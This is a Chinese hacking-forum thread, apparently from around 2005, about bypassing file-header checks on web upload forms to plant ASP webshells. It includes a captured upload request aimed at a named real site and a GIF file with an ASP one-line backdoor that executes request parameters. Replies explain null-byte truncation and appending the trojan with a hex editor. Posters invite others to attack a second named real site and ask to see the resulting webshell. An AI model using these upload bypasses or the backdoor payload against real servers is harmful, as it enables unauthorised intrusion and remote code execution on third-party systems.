发新话题
打印

[讨论]上传的终极突破——突破文件头检测

[讨论]上传的终极突破——突破文件头检测

议题提交:风尘浪子
信息来源:邪恶八进制信息安全团队

              上传的终极突破——突破文件头检测
  经常碰到这种情况,某些网站上传的地方,对上传的文件类型进行了文件头检

测,以防止非法上传。如果检测到的是GIf,那么就以gif后缀保存。这样我们把

asp木马改为gif后缀是不行的,检测通过不了。如果我们在asp木马的前面加上文

件头GIF8,检测可以通过,但后缀我们无法控制。
比如:
复制内容到剪贴板
代码:

POST /13apostle/DoodlePro/poo/upload2.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

application/x-shockwave-flash, application/vnd.ms-excel,

application/vnd.ms-powerpoint, application/msword, */*
Referer: [url]http://www.13apostle.net/13apostle/DoodlePro/poo/UPLOAD.ASP[/url]
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=--------------------------

-7d528a281b01b8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: [url]www.13apostle.net[/url]
Content-Length: 1535
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCQTRDCSD=GDGPAELDGJCLHAHJBPLCNHDB;

cntbbs=CheckCode=1888; ASPSESSIONIDCSSTCDTC=BELNCMLDJDKDDNJEHNACJAPC;

http%3A%2F%2Fwww%2E13apostle%2Enet=feiyue=8&feiyueip=2005%2D10%

2D26+20%3A47%3A18; uph=20; filesize=1%2E07; upw=20; Uploadname=Upload%

5F200510262237%2EGIF; IP=219%2E138%2E204%2E46; guest%5Fpass=a; guest%

5Fname=a; homepage=; oicq=;

ASPSESSIONIDQQTRAARB=HDLLIDMDIDJOKOHKPBHOLIFF;

ASPSESSIONIDCQQTDCTD=CHCJKEMDNFLBABPPJPCJCHNL

-----------------------------7d528a281b01b8
Content-Disposition: form-data; name="sf_upfile";

filename="C:\Documents and Settings\new\桌面\zuoai.asp .gif"
Content-Type: image/gif

GIF89a
大家可以看到sf_upfile是保存后的文件夹,本来我们可以利用加上\0截断,
但问题来了。因为Content-Type: image/gif,后面没有我们的数据,这样把上
面的包用winhex编辑,加上截断字符后保存。但用nc提交不了,因为没有数据,
nc处等待状态。
   如果我们copy 21.gif /b + asp.asp /a asp.gif,这样检测是通过了,同样
后缀为gif,但是我们没办法编辑它的源代码里面include这样一个木马图片。
   asp.gif记事本打开之后,代码如下:
复制内容到剪贴板
代码:


GIF89a  ?          鼢黠镲珑甾揶种治挝浇降档ゥ湝湐

敂寣寗剟{{{ssskkkcccZZZRRRJJJBBB                        

                                                

                                                

                                                

                                                

                                                

                                                

                                                

                                                

                                          !?   ,  

      =枇倕 *H 萷鄤6t璋伭
VP  纻  H罓B茘;Fh0R羵&    N!%竧?A?l6樴?剦4r槇?0h餪b嚇

瑀惏@侱 "lX卺偫
0$h`联?*?[繦 n;@?aV Z禋乫_
?悹S猍 |'P@?48溉?1?繮??hR ?逼x甩栃7肈R衻4瞕?B???撐ū落
2胩 ;<%If Request("#")<>"" Then Execute(Request("#"))%>
我曾经试过把前面的GIF8改成GaF8(改成其它的)来比较抓包结果。又发现个奇怪的
问题。我把GaF8改回GIF8,发现asp.gif的大小发生了变化,而且无法上传了。整个过程我就用
记事本打开asp.gif,把GIF8改成GaF8再又改成GIF8。
  至于怎么突破这种情况,我曾经想到了一个办法,就是在上传的时候,用一
个工具截取数据包,不过这个和winsock不一样,它是一个本地的代理,数据包必
须先经过它,可以修改数据包后再发送,最终完成一次数据包的发送。这样可以
比较方便的修改数据。但实际上这种办法我还没测试过,我相信邪恶的高手肯定
有自己的方法,所以我鼓起勇气发出来同大家讨论一下。前几天帮朋友检测碰到
一个大型门户试网站,又是同上面数据包里面那个地址的情况是一样的,一直很
郁闷。。。
http://hi/.baidu.com/1565446321

TOP

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

给大家一个上传的地方去测试吧:
吐血推荐~~~~~~~~~~~~~~
http://www.sinoaec.com/tech/yh/logo_upload.asp,有思路free一下。
没有交流,提高技术很慢的!
我上面那数据包里面的那个地址,上传还有图片大小限制。呵呵。

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
http://hi/.baidu.com/1565446321

TOP

首先改图片怎么可以用记事本打开,如果打开再改再保存,原来的gif代码就已经全部被破坏...这是禁忌..
同时,上传验证有些是验证了后缀还有文件头+内容.

如果是验证文件头+内容,这时,可以用winhex打开图片在代码后面加上一句话木马,后缀改为asp,直接上传,如果只验证文件头+内容的话,一般是可以突破上传的,上传后后缀为asp,图片打开为红红的大XX,但仍然可以用服务端来连接。

另一项就是验证后缀,这个我们都玩多了,不用说了吧。

如果两者同时验证,我还是没有办法来突破,这里的上传验证已经很严整了吧。。。应该是比较完美了。
\';update heart set love=\'nothing
\' where name=yaner;--

TOP

http://www.sinoaec.com/tech/yh/logo_upload.asp这个地址应该是只验证了头部!
“首先改图片怎么可以用记事本打开,如果打开再改再保存,原来的gif代码就已经全部被破坏...这是禁忌..”
这一点的确是这样的。
但是楼上兄弟说的“winhex打开图片在代码后面加上一句话木马,后缀改为asp,直接上传”,有点问题,
上传后保存是以检测到的合法后缀保存的,所以这样上传后保存的还是gif或者其他图片格式,不会是了。。。
http://hi/.baidu.com/1565446321

TOP

楼上,我说的是三种情况,有些验证脚本是只检测文件头+文件内容,根本忽略了后缀验证,入侵了这么多,玩得不少上传里,确实玩过这样的上传系统。  
我说的都是经验之谈,没有经过自己动手的,我是不会发表的。
\';update heart set love=\'nothing
\' where name=yaner;--

TOP

楼上哥哥说的这种情况也是有的,这种情况就好办。

但可惜我要说不是这种情况

http://www.sinoaec.com/tech/yh/logo_upload.asp

欢迎测试!!!

吐血推荐!
http://hi/.baidu.com/1565446321

TOP

我测试成功
不过就是不想给你说
看你这么嚣张的还入侵黑防,还把文章发给X档案
谁知道你拿下这个权限你还要做些什么坏事!


晚上PS:我其实根本没去测试
下午说的一句话根本是句气话。

TOP

晕啊! 我嚣张了?
[s:46]  [s:56]  [s:56]  [s:55]  [s:34]
楼上哥哥真有意思!
不过你说测试成功,我又没看到,
[s:43]
把webshell,给我看一下我就满足了。
http://hi/.baidu.com/1565446321

TOP

我看了你的那个测试地址,的确没有验证后缀,你可以把一个正常的jpg图片后缀改为asa,一样可以上传成功,不过程序保存图片文件名时,只是一种单一保存方法,就是文件名为空,后缀为jpg,所以上传的时候又变成了/logo/.jpg,所以既然你成功上传了一个含有asp代码的图片,一样会保存那样的名称,可悲的是,程序把含有asp代码全部清除了,不信你可以再下载你的图片,用UltraEdit打开看看.

除了上面一点,有意思的是/logo/.jpg是怎么保存的,.前面的名字怎么可以为空,这挺怀疑的。windows下面我怎么也保存不了这样的文件名.
\';update heart set love=\'nothing
\' where name=yaner;--

TOP

引用:
下面是引用nowthk于2005-11-11 20:26发表的:
首先改图片怎么可以用记事本打开,如果打开再改再保存,原来的gif代码就已经全部被破坏...这是禁忌..
同时,上传验证有些是验证了后缀还有文件头+内容.

如果是验证文件头+内容,这时,可以用winhex打开图片在代码后面加上一句话木马,后缀改为asp,直接上传,如果只验证文件头+内容的话,一般是可以突破上传的,上传后后缀为asp,图片打开为红红的大XX,但仍然可以用服务端来连接。

.......
只验证后缀的怎么弄?

是不是抓包后用NC提交,不过我试了没有成功,不知道为什么?

请指点一下!
想飞的小小鸟

TOP

引用:
下面是引用nowthk于2005-11-13 20:52发表的:
我看了你的那个测试地址,的确没有验证后缀,你可以把一个正常的jpg图片后缀改为asa,一样可以上传成功,不过程序保存图片文件名时,只是一种单一保存方法,就是文件名为空,后缀为jpg,所以上传的时候又变成了/logo/.jpg,所以既然你成功上传了一个含有asp代码的图片,一样会保存那样的名称,可悲的是,程序把含有asp代码全部清除了,不信你可以再下载你的图片,用UltraEdit打开看看.

除了上面一点,有意思的是/logo/.jpg是怎么保存的,.前面的名字怎么可以为空,这挺怀疑的。windows下面我怎么也保存不了这样的文件名.
看样子我提到的这种情况没多少人能搞定了,问了n多牛人,都不能怎么样?
这段时间我特别忙的,忙做简历,要找工作了。。。有空我要仔细研究。
“程序把含有asp代码全部清除了”这一点我还没看,如果真这样,那太nb了,不过感觉不大可能
“是文件名为空,后缀为jpg,所以上传的时候又变成了/logo/.jpg,
有意思的是/logo/.jpg是怎么保存”
[s:35] nowthk这里的理解应该有点小问题,
http://www.13apostle.net/13apostle/DoodlePro/poo/UPLOAD.ASP
是清浊心的网站,这里是一涂鸦系统,你可以到网上找,叫xx涂鸦系统,很容易找到,down把源代码下了看一下,上传方式也是这样的。
清浊心同意后,我曾经了一次渗透测试
这里21nt网站小组也在上面http://www.13apostle.net/21nt/
http://hi/.baidu.com/1565446321

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

发新话题